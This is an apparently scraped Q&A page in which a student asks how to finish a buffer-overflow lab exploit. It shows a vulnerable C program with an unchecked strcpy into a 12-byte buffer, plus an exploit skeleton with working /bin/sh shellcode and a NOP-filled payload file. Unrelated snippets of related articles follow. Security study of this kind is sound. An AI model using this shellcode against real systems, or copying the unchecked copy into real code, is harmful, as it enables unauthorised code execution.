草庐IT

c - 利用缓冲区溢出

coder 2023-06-17 原文

<分区>

我正在从事一个项目，我应该在其中编写一个 C 程序来利用给定程序的漏洞。

这是易受攻击的 C 程序:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

下面是利用代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* pushl %ebx        */
"\x89\xe1"  /* movl  %esp,%ecx   */
"\x99"      /* cdql              */
"\xb0\x0b"  /* movb  $0x0b,%al   */
"\xcd\x80"  /* int   $0x80       */
;

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;

   /* Initialize buffer with 0x90 (NOP instruction) */
   memset(&buffer, 0x90, 517);

   /* Fill the buffer with appropriate contents here */

   /* Save the contents to the file "badfile" */
   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}

因此，在保存到“坏文件”之前，我需要用适当的内容填充缓冲区。我已经阅读了很多关于缓冲区溢出的文章，我想我需要修改易受攻击程序的返回地址。但我真的不知道我应该怎么做。 我应该先找到原来的返回地址还是有其他我可以做的事情？ 另外，关于我应该如何实现缓冲区有什么想法/建议吗？

利用冲区section34badfileclinux

有关c - 利用缓冲区溢出的更多相关文章

  1. ruby - 如何模拟 Fixnum 变量的整数溢出？ - 2

    我目前正在将一种算法从Java转换为Ruby，但由于Ruby中缺少整数溢出，我遇到了一些障碍。假设我的值为2663860877，它大于最大整数2147483648。在Java中，它环绕，我应该得到-1631106419。我找到了这段代码，但它似乎不起作用:defforce_overflow(i)ifi2147483647i&0xffffffffelseiendend并且'ing变量不会像您期望的那样强制它为负。 最佳答案 假设32位整数具有二进制补码负数，这应该可行:defforce_overflow_signed(i)force_

  2. Unity 血条及“掉血”缓冲效果 - 2

     视频教程：https://www.bilibili.com/video/BV1WJ411778C/?spm_id_from=333.999.0.0&vd_source=4a4c35da6aef7094d5990c213c39aa09使用素材（推荐使用GitZipforgithub下载）：https://github.com/zheyuanzhou/Youtube-Unity-Tutorial/tree/master/EP45_Health%20Bar/Sprites效果如下图所示：首先在场景中创建一个新的Canvas，并命名为HeathBar，并创建三个Image作为前者的子物体，分别命名为

  3. iOS快捷指令：执行Python脚本（利用iSH Shell） - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序，那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件，它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序，然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示（其实快捷指令中本身存在“获取当前日期”的操作，因而此需求可以不用Python，这里仅仅为了演示方便），核心代码如下。>>>importtime>>>time.strftime('%Y-%

  4. ruby - Sidekiq 可以利用多个 CPU 内核吗？ - 2

    我是Sidekiq的新手，将它与AmazonEC2实例上的Ruby结合使用，以使用ImageMagick处理图像来完成一些工作。在运行它时，我意识到每个工作人员都在同一个核心上运行。我使用EC2c3.2xlarge机器，它们有8个内核。它显示CPU使用率为15%，但一个内核使用了100%，而其他内核使用了0%。Sidekiq可以为不同的worker使用不同的CPU内核吗？如果可以，这种低效率是由ImageMagic造成的吗？我怎样才能让它使用其他内核？ 最佳答案 如果您想使用MRI使用多个内核，则需要启动多个Sidekiq进程；为您

  5. ruby - 如何创建与帧缓冲区通信的 Ruby 应用程序？ - 2

    我有一个RaspberryPiTFT7"触摸屏显示器，我想创建一个简单的应用程序来显示和输出系统数据(即CPU使用率、温度等)。我注意到目前常见的实现方法是使用pygame库输出到显示器连接到的帧缓冲区/dev/fb1。我想执行相同的操作，但使用Ruby，因为我更熟悉这门语言。有人可以为我指明正确的方向，让我知道如何开始吗？我查看了ruby​​game和gosu库，它们似乎能够做我想做的事情，即绘制屏幕，​​但我找不到任何关于如何将输出定向到的信息帧缓冲区本身。 最佳答案 rubycorelib有一个IO您应该能够使用该类将输出定向

  6. PLUS模型和InVEST模型生态系统服务多情景模拟预测、ArcGIS空间数据处理、空间分析与制图、土地利用时空变化 - 2

    查看原文>>>基于”PLUS模型+“生态系统服务多情景模拟预测实践技术应用目录第一章、理论基础与软件讲解第二章、数据获取与制备第三章、土地利用格局模拟第四章、生态系统服务评估第五章、时空变化及驱动机制分析第六章、论文撰写技巧及案例分析基于ArcGISPro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局基于生态系统服务（InVEST模型）的人类活动、重大工程生态成效评估、论文写作等具体应用基于ArcGISPro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析实践应用    本文从数据、方法、实践三方面对生态系统服务多情景预测进行讲解。内容涵盖多

  7. ruby - 从 emacs 缓冲区运行 ruby - 2

    如何从缓冲区运行一段ruby​​代码，而不实际将缓冲区保存在文件中？一个场景是a)切换到暂存缓冲区b)M-xruby模式c)输入ruby代码d)“编译”缓冲区并在另一个缓冲区中打印结果。我不想将缓冲区内容保存在文件中，然后“编译”该文件2011年1月9日更新哪些是ruby​​-mode和inf-ruby的最新版本，我可以从哪里获得它们？我用的是ubuntunatty版的ruby模式和elpa版的emacs23.2的inf-ruby。在干净的emacs配置上，以下配置(见下文)失败:can'tconvertnilintoStringfrom(irb):1:in`eval'from(irb

  8. ruby - 为什么 10^9942066 是我可以计算而不会溢出的最大功率？ - 2

    在ruby​​中，一些大数大于无穷大。通过二分查找，我发现:(1.0/0)>10**9942066.000000001#=>false(1.0/0)>10**9942066#=>trueRUBY_VERSION#=>"2.3.0"为什么是这样？109942066有什么特别之处？它似乎不是像9999999这样的任意数字，它不接近任何2的幂(它大约等于233026828.36662442)。为什么ruby的无穷大不是无穷大？109942066是怎么参与的？我现在意识到，任何大于109942066的数字都会溢出到无穷大:10**9942066.000000001#=>Infinity10**

  9. ruby - 了解 Ruby 和操作系统 I/O 缓冲 - 2

    IO缓冲在Ruby中是如何工作的？使用IO和File类时，数据刷新到底层流的频率如何？这与操作系统缓冲相比如何？在自信地读回数据进行处理之前，需要做什么来保证给定数据已写入磁盘？ 最佳答案 RubyIO文档并未100%清楚地说明这种缓冲的工作原理，但您可以从文档中提取以下内容:RubyIO有自己的内部缓冲区除此之外，底层操作系统可能会或可能不会进一步缓冲数据。相关方法看:IO.flush:刷新IO。我还查看了Ruby源代码，对IO.flush的调用也调用了底层操作系统fflush().这应该足以让文件缓存，但不能保证物理数据到磁盘。

  10. javascript - 检测溢出 :hidden page? 中的滚动尝试 - 2

    我想检测用户何时试图在我的页面上向上或向下滚动，但由于我不想允许实际滚动，所以我设置了一个overflow:hiddenbody。代码是这样的:$('html,body').css('overflow','hidden');$(window).scroll(function(event){console.log("scroll");});问题是因为没有实际的滚动我无法触发事件，我考虑过删除溢出样式并以某种方式防止滚动但我不知道该怎么做。无论如何，有没有办法在检测滚动尝试时修复滚动？谢谢 最佳答案 尝试使用jQuery鼠标滚轮http

随机推荐